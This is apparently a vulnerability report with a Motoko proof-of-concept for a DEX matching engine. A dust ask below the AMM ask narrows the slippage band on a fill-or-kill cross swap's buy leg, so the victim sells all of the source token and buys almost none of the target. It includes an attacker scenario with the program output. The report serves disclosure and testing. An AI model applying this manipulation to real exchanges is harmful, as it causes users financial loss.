A cross swap's buy leg executes under a band anchored to the lowest ask, below the mid-anchored cap `fokCrossGate` checked, so a fill-or-kill cross swap can sell all its source and buy almost none of the target

// repro: FOK cross-swap buy leg. Gate (walkFillable mirror, band = buyCap only)
// vs. the UNMODIFIED engine call releaseCrossSwap makes (main.mo:4792-4794):
//   executeMarketOrderProtected(..., #buy, buyQty, s.maxSlippage, false, now, ctx, ?spend, ?buyCap)
import MX "mo:mdex/lib/MatchingEngine";
import OB "mo:mdex/lib/OrderBook";
import Accounts "mo:mdex/lib/Accounts";
import Types "mo:mdex/lib/Types";
import Fixed "mo:mdex/lib/Fixed";
import Map "mo:core/Map";
import Nat "mo:core/Nat";
import Debug "mo:core/Debug";
import Principal "mo:core/Principal";

let QUOTE = Types.QUOTE_TOKEN;
let mkt = "BTC-ICPUSD";
let base = "BTC";
let third  = Principal.fromText("2vxsx-fae");
let victim = Principal.fromText("aaaaa-aa");
let amm    = Principal.fromText("rrkah-fqaaa-aaaaa-aaaaq-cai");
let treas  = Principal.fromText("ryjl3-tyaaa-aaaaa-aaaba-cai");
let TAKER_BPS : Nat = 10;
func fee(gross : Nat) : Nat { gross * TAKER_BPS / 10_000 };

func mkCtx(acc : Accounts.AccountState, store : OB.OrderStore, expiredId : Nat) : MX.ProtectionCtx = {
  availableBalance = func(p, t) { Accounts.getBalance(acc, p, t) };
  isNonTakeable    = func(_, _) { false };          // fresh release: AMM takeable
  aggressorRole    = #taker;
  onUnfundedMaker  = func(_, _, _, _, _) { Debug.print("    [engine] unfunded maker cancelled") };
  isExpired        = func(id) { id == expiredId };
  quoteFee         = func(_p, gross, role) {
    let bps = switch (role) { case (#takerDebit or #takerCredit) { TAKER_BPS }; case (#makerDebit or #makerCredit) { 5 } };
    (gross * bps) / 10_000
  };
  creditTreasury   = func(f) { if (f > 0) { Accounts.addBalance(acc, treas, QUOTE, f) } };
  onSelfTrade      = func(id, _owner) { Debug.print("    [engine] self-trade: own ask " # debug_show id # " cancelled"); ignore OB.cancelOrder(store, id) };
  beneficialOwner  = func(p) { p };
  onTradeFees      = func(_, _, _) {};
  fundForFill      = func(_, _, _, _, _) { true };
  fundableScorer   = func() { MX.cashScorer(func(p, t) { Accounts.getBalance(acc, p, t) }) };
};

// Mirror of fokCrossGate's buy walk (main.mo walkFillable, #quoteSpend, excl = ctx + taker):
// band test is ONLY o.price <= capPrice; skipped (self / expired / non-takeable) makers count 0 and the walk continues.
func gateSpent(store : OB.OrderStore, acc : Accounts.AccountState, capPrice : Nat, budget : Nat, expiredId : Nat) : Nat {
  let ex = Map.empty<Nat, Bool>();
  var spent : Nat = 0;
  label w loop {
    if (spent >= budget) { break w };
    switch (OB.findBestMatchExcluding(store, mkt, #buy, ?ex)) {
      case null { break w };
      case (?o) {
        if (o.price > capPrice) { break w };
        Map.add(ex, Nat.compare, o.id, true);
        if (o.id == expiredId or Principal.equal(o.owner, victim)) { continue w };
        let rem = OB.remaining(o);
        if (Accounts.getBalance(acc, o.owner, base) < rem) { continue w };   // all-or-nothing funding
        let remB = Nat.sub(budget, spent);
        var take = rem;
        let needs = do { let c = Fixed.mul(take, o.price, true); c + fee(c) };
        if (remB < needs) { take := Nat.min(take, Fixed.div(Fixed.mulDiv(remB, 10_000, 10_000 + TAKER_BPS, false), o.price, false)) };
        if (take == 0) { break w };
        let c = Fixed.mul(take, o.price, false);
        spent += c + fee(c);
      };
    };
  };
  spent
};
func budgetCrumb(capPrice : Nat) : Nat { Fixed.mulDiv(capPrice / Fixed.SCALE + 1, 10_000 + TAKER_BPS, 10_000, true) + 1 };

let mid  : Nat = 100 * Fixed.SCALE;                 // slippageAnchor (AMM refPrice)
let slip : Nat = 5_000_000;                         // victim's maxSlippage = 5%
let buyCap = Fixed.mul(mid, Fixed.SCALE + slip, false);   // crossLegCap(#buy) = 105.00
let grossUsd : Nat = 500 * Fixed.SCALE;             // sell leg proceeds (already SETTLED before the buy leg runs)

func run(label_ : Text, lowOwner : ?Principal, lowFunded : Bool, lowExpired : Bool) {
  let s = OB.emptyStore(); let a = Accounts.emptyState();
  // AMM ask ladder, 20 bps half-spread, 3 levels x 2 BTC, funded
  Accounts.setBalance(a, amm, base, 6 * Fixed.SCALE);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_020_000_000, 2 * Fixed.SCALE, 1);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_040_000_000, 2 * Fixed.SCALE, 1);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_060_000_000, 2 * Fixed.SCALE, 1);
  var expiredId : Nat = 0;
  switch (lowOwner) {
    case (?o) {
      // dust ask 0.0106 BTC @ 95.10 (~$1.01) resting below AMMask/(1+slip) = 95.43
      let ord = OB.createOrder(s, mkt, o, #sell, #limit, 9_510_000_000, 1_060_000, 1);
      if (lowFunded) { Accounts.addBalance(a, o, base, 1_060_000) };
      if (lowExpired) { expiredId := ord.id };
    };
    case null {};
  };
  Accounts.setBalance(a, victim, QUOTE, grossUsd);  // proceeds credited by leg 1
  let ctx = mkCtx(a, s, expiredId);
  // fokCrossGate buy check (main.mo:4631-4640)
  let spent = gateSpent(s, a, buyCap, grossUsd, expiredId);
  let gatePass = not (grossUsd > spent + budgetCrumb(buyCap));
  // releaseCrossSwap buy leg (main.mo:4775-4794): buyQty sized at findBestMatch
  let best = switch (OB.findBestMatch(s, mkt, #buy)) { case (?o) { o.price }; case null { 0 } };
  let spend = grossUsd;
  let buyQty = Fixed.div(Fixed.mulDiv(spend, 10_000, 10_000 + TAKER_BPS, false), best, false);
  let r = MX.executeMarketOrderProtected(s, a, mkt, base, victim, #buy, buyQty, slip, false, 2, ctx, ?spend, ?buyCap);
  Debug.print(label_);
  Debug.print("    gate: spent-within-buyCap=" # debug_show spent # " of " # debug_show grossUsd # " -> " # (if gatePass "PASS (sell leg settles all source)" else "KILL"));
  Debug.print("    engine refPrice(findBestMatch)=" # debug_show best # " bandMax=" # debug_show (Fixed.mul(best, Fixed.SCALE + slip, false)) # " buyCap=" # debug_show buyCap);
  Debug.print("    buy leg: filled=" # debug_show r.totalFilled # " quoteSpent=" # debug_show r.quoteSpent # " stop=" # debug_show r.stopReason
    # " | victim BTC=" # debug_show Accounts.getBalance(a, victim, base) # " ICPUSD left=" # debug_show Accounts.getBalance(a, victim, QUOTE)
    # " | outcome filled=" # debug_show (r.totalFilled > 0));
};

run("A control (no low ask)", null, false, false);
run("B third-party FUNDED dust ask @95.10", ?third, true, false);
run("C third-party UNFUNDED dust ask @95.10", ?third, false, false);
run("D third-party EXPIRED funded ask @95.10", ?third, true, true);
run("E victim's OWN ask @95.10", ?victim, true, false);

A control (no low ask)
    gate: spent-within-buyCap=49_999_999_977 of 50_000_000_000 -> PASS (sell leg settles all source)
    engine refPrice(findBestMatch)=10_020_000_000 bandMax=10_521_000_000 buyCap=10_500_000_000
    buy leg: filled=497_714_214 quoteSpent=49_999_999_977 stop=#budgetExhausted | victim BTC=497_714_214 ICPUSD left=23 | outcome filled=true
B third-party FUNDED dust ask @95.10
    gate: spent-within-buyCap=49_999_999_948 of 50_000_000_000 -> PASS (sell leg settles all source)
    engine refPrice(findBestMatch)=9_510_000_000 bandMax=9_985_500_000 buyCap=10_500_000_000
    buy leg: filled=1_060_000 quoteSpent=100_906_806 stop=#slippage | victim BTC=1_060_000 ICPUSD left=49_899_093_194 | outcome filled=true
    [engine] unfunded maker cancelled
C third-party UNFUNDED dust ask @95.10
    gate: spent-within-buyCap=49_999_999_977 of 50_000_000_000 -> PASS (sell leg settles all source)
    engine refPrice(findBestMatch)=9_510_000_000 bandMax=9_985_500_000 buyCap=10_500_000_000
    buy leg: filled=0 quoteSpent=0 stop=#slippage | victim BTC=0 ICPUSD left=50_000_000_000 | outcome filled=false
D third-party EXPIRED funded ask @95.10
    gate: spent-within-buyCap=49_999_999_977 of 50_000_000_000 -> PASS (sell leg settles all source)
    engine refPrice(findBestMatch)=9_510_000_000 bandMax=9_985_500_000 buyCap=10_500_000_000
    buy leg: filled=0 quoteSpent=0 stop=#slippage | victim BTC=0 ICPUSD left=50_000_000_000 | outcome filled=false
    [engine] self-trade: own ask 4 cancelled
E victim's OWN ask @95.10
    gate: spent-within-buyCap=49_999_999_977 of 50_000_000_000 -> PASS (sell leg settles all source)
    engine refPrice(findBestMatch)=9_510_000_000 bandMax=9_985_500_000 buyCap=10_500_000_000
    buy leg: filled=0 quoteSpent=0 stop=#slippage | victim BTC=1_060_000 ICPUSD left=50_000_000_000 | outcome filled=false

do {
  let s = OB.emptyStore(); let a = Accounts.emptyState();
  let atk = third;
  Accounts.setBalance(a, amm, base, 6 * Fixed.SCALE);
  Accounts.setBalance(a, amm, QUOTE, 100_000 * Fixed.SCALE);
  // AMM bid ladder: 99.80 / 99.65 / 99.50 x 2 BTC ; ask ladder 100.20 / 100.35 / 100.50 x 2 BTC
  ignore OB.createOrder(s, mkt, amm, #buy,  #limit,  9_980_000_000, 2 * Fixed.SCALE, 1);
  ignore OB.createOrder(s, mkt, amm, #buy,  #limit,  9_965_000_000, 2 * Fixed.SCALE, 1);
  ignore OB.createOrder(s, mkt, amm, #buy,  #limit,  9_950_000_000, 2 * Fixed.SCALE, 1);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_020_000_000, 2 * Fixed.SCALE, 1);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_035_000_000, 2 * Fixed.SCALE, 1);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_050_000_000, 2 * Fixed.SCALE, 1);
  // attacker: 6.0106 BTC, staged limit SELL 6.0106 @ 95.10
  Accounts.setBalance(a, atk, base, 601_060_000);
  let ctx = mkCtx(a, s, 0);
  let (ord, trades, _, _, stopA) = MX.executeLimitOrderProtected(s, a, mkt, base, atk, #sell, #limit, 9_510_000_000, 601_060_000, 1, 2, ctx, null);
  Debug.print("B2 attacker limit sell @95.10: trades=" # debug_show trades.size() # " stop=" # debug_show stopA
    # " resting remainder=" # debug_show OB.remaining(ord) # " status=" # debug_show ord.status
    # " attackerICPUSD=" # debug_show Accounts.getBalance(a, atk, QUOTE));
  let bestBid = switch (OB.findBestMatch(s, mkt, #sell)) { case (?o) { debug_show o.price }; case null { "none" } };
  let bestAsk = switch (OB.findBestMatch(s, mkt, #buy)) { case (?o) { debug_show o.price # " owner=" # (if (Principal.equal(o.owner, atk)) "attacker" else "amm") }; case null { "none" } };
  Debug.print("    book after processDeferred: best bid=" # bestBid # " best ask=" # bestAsk);
  // victim FOK cross swap, buy leg: proceeds $500 (sell leg already settled at :4746)
  Accounts.setBalance(a, victim, QUOTE, grossUsd);
  let spent = gateSpent(s, a, buyCap, grossUsd, 0);
  let gatePass = not (grossUsd > spent + budgetCrumb(buyCap));
  let best = switch (OB.findBestMatch(s, mkt, #buy)) { case (?o) { o.price }; case null { 0 } };
  let buyQty = Fixed.div(Fixed.mulDiv(grossUsd, 10_000, 10_000 + TAKER_BPS, false), best, false);
  let r = MX.executeMarketOrderProtected(s, a, mkt, base, victim, #buy, buyQty, slip, false, 3, ctx, ?grossUsd, ?buyCap);
  Debug.print("    gate (buyCap 105.00 only): spent=" # debug_show spent # " -> " # (if gatePass "PASS" else "KILL"));
  Debug.print("    engine band = min(" # debug_show best # " x 1.05 = " # debug_show (Fixed.mul(best, Fixed.SCALE + slip, false)) # ", buyCap " # debug_show buyCap # ")");
  Debug.print("    buy leg: filled=" # debug_show r.totalFilled # " quoteSpent=" # debug_show r.quoteSpent # " stop=" # debug_show r.stopReason
    # " | victim BTC=" # debug_show Accounts.getBalance(a, victim, base) # " ICPUSD left=" # debug_show Accounts.getBalance(a, victim, QUOTE)
    # " | recorded filled=" # debug_show (r.totalFilled > 0));
};

B2 attacker limit sell @95.10: trades=3 stop=#bookExhausted resting remainder=1_060_000 status=#partiallyFilled attackerICPUSD=59_730_210_000
    book after processDeferred: best bid=none best ask=9_510_000_000 owner=attacker
    gate (buyCap 105.00 only): spent=49_999_999_999 -> PASS
    engine band = min(9_510_000_000 x 1.05 = 9_985_500_000, buyCap 10_500_000_000)
    buy leg: filled=1_060_000 quoteSpent=100_906_806 stop=#slippage | victim BTC=1_060_000 ICPUSD left=49_899_093_194 | recorded filled=true

// mid 100; AMM asks 100.2 / 100.4 / 100.6 x 5 BTC each; slippage 1%; buyCap = mid*1.01 = 101
let cap : Nat = 10_100_000_000; let slip : Nat = 1_000_000;
func run(label_ : Text, lowAsk : ?Nat) {
  let s = OB.emptyStore(); let a = Accounts.emptyState();
  Accounts.setBalance(a, amm, base, 1_500_000_000);
  Accounts.setBalance(a, seller, base, 1_000_000);   // 0.01 BTC remainder, funded
  Accounts.setBalance(a, victim, QUOTE, 100_000_000_000); // $1000 proceeds
  switch (lowAsk) { case (?px) { ignore OB.createOrder(s, mkt, seller, #sell, #limit, px, 1_000_000, 1) }; case null {} };
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_020_000_000, 500_000_000, 1);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_040_000_000, 500_000_000, 1);
  ignore OB.createOrder(s, mkt, amm, #sell, #limit, 10_060_000_000, 500_000_000, 1);
  let r = MX.executeMarketOrderProtected(s, a, mkt, base, victim, #buy, 900_000_000, slip, false, 2, ctx(a, s), ?100_000_000_000, ?cap);
  Debug.print(label_ # ": filled=" # debug_show r.totalFilled # " spent=" # debug_show r.quoteSpent # " stop=" # debug_show r.stopReason);
};
run("control (no low ask)", null);
run("resting 0.01 BTC ask @ 99.10 (0.991 mid)", ?9_910_000_000);
run("resting 0.01 BTC ask @ 99.25 (0.9925 mid)", ?9_925_000_000);

control (no low ask): filled=900_000_000 spent=90_350_260_000 stop=#filled
resting 0.01 BTC ask @ 99.10 (0.991 mid): filled=1_000_000 spent=99_199_100 stop=#slippage
resting 0.01 BTC ask @ 99.25 (0.9925 mid): filled=501_000_000 spent=50_249_449_250 stop=#slippage